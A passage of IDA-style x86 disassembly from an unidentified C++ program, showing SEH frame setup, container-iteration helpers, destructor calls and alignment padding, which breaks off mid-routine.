		push	0FFFFFFFFh
		push	offset loc_43B0B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_414CC7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jz	short loc_414C7F


loc_414C34:				; CODE XREF: ___:00414C7Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_414C5C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414C5C:				; CODE XREF: ___:00414C4Bj
		lea	ecx, [esp+4]
		call	sub_4018C5
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jnz	short loc_414C34


loc_414C7F:				; CODE XREF: ___:00414C32j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414CC7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414CA2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414CA2:				; CODE XREF: ___:00414C99j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414CC7:				; CODE XREF: ___:00414BEEj
					; ___:00414C85j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D40	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B59
sub_414D40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414D58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414D58:				; CODE XREF: ___:00414D4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D70	proc near		; CODE XREF: sub_401B59j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414D70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401582
sub_414D70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E10	proc near		; CODE XREF: sub_4014C9j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F0B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014D3
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_448F30
		call	sub_401870
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+88h+var_4], ebx
		call	sub_40212B
		test	al, al
		jz	loc_415040
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F0B:				; CODE XREF: sub_414E10+36j
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_415040
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014D3
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014D3
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014D3
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_444600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_444600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+0D0h+var_4], ebx
		call	sub_4018AC
		test	al, al
		jz	short loc_415040
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_415040:				; CODE XREF: sub_414E10+82j
					; sub_414E10+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414E10	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415100	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401ED8
sub_415100	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415140	proc near		; CODE XREF: sub_401726j

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401ED8
sub_415140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016D6
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_401735
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151C0	proc near		; CODE XREF: sub_401582j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40146F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CE9
sub_4151C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415230	proc near		; CODE XREF: sub_4012E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401DBB
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415230	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415270	proc near		; CODE XREF: sub_401D9Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415270	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4152A0	proc near		; CODE XREF: sub_401488j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D9D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40217B
sub_4152A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152E0	proc near		; CODE XREF: sub_401258j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401D70
		test	al, al
		jz	short loc_41536D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41531F:				; CODE XREF: sub_4152E0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_401FC3
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415351
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401578
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		jmp	short loc_41535A
; ---------------------------------------------------------------------------


loc_415351:				; CODE XREF: sub_4152E0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4020C2


loc_41535A:				; CODE XREF: sub_4152E0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401D70
		test	al, al
		jnz	short loc_41531F
		pop	edi


loc_41536D:				; CODE XREF: sub_4152E0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4152E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153B0	proc near		; CODE XREF: sub_401E38j
		push	esi
		mov	esi, ecx
		call	sub_401ED3
		mov	eax, esi
		pop	esi
		retn
sub_4153B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153D0	proc near		; CODE XREF: sub_401FC3j
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_4153D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153F0	proc near		; CODE XREF: sub_4020C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4153F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415450	proc near		; CODE XREF: sub_401F23j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C8F
sub_415450	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E33
sub_415490	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415500	proc near		; CODE XREF: sub_401992j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401CDA
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415500	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415540	proc near		; CODE XREF: sub_402257j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415540	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415570	proc near		; CODE XREF: sub_401F0Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402257
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401AAA
sub_415570	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155B0	proc near		; CODE XREF: sub_401933j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4155B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_401154j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401AEB
		test	al, al
		jz	short loc_41568D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41563F:				; CODE XREF: sub_415600+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415671
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		jmp	short loc_41567A
; ---------------------------------------------------------------------------


loc_415671:				; CODE XREF: sub_415600+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4018C5


loc_41567A:				; CODE XREF: sub_415600+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401AEB
		test	al, al
		jnz	short loc_41563F
		pop	edi


loc_41568D:				; CODE XREF: sub_415600+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415600	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156D0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E97
		mov	eax, esi
		pop	esi
		retn
sub_4156D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156F0	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402144
		add	esp, 4
		retn
sub_4156F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415710	proc near		; CODE XREF: sub_4018C5j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415710	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415740	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EC4
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415740	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415770	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DB6
sub_415770	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157B0	proc near		; CODE XREF: sub_4014BFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401F14
sub_4157B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415820	proc near		; CODE XREF: sub_401901j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D7A
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415860	proc near		; CODE XREF: sub_40114Aj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415860	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415890	proc near		; CODE XREF: sub_401410j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401D11
sub_415890	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158D0	proc near		; CODE XREF: sub_401C76j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		pop	esi
		add	esp, 0Ch
		retn
sub_4158D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415920	proc near		; CODE XREF: sub_40214Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401339
		test	al, al
		jz	short loc_4159AD
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41595F:				; CODE XREF: sub_415920+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415991
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EBF
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41599A
; ---------------------------------------------------------------------------


loc_415991:				; CODE XREF: sub_415920+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41599A:				; CODE XREF: sub_415920+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401339
		test	al, al
		jnz	short loc_41595F
		pop	edi


loc_4159AD:				; CODE XREF: sub_415920+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415920	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159F0	proc near		; CODE XREF: sub_402275j
		push	esi
		mov	esi, ecx
		call	sub_401E42
		mov	eax, esi
		pop	esi
		retn
sub_4159F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A10	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017E4
		add	esp, 4
		retn
sub_415A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
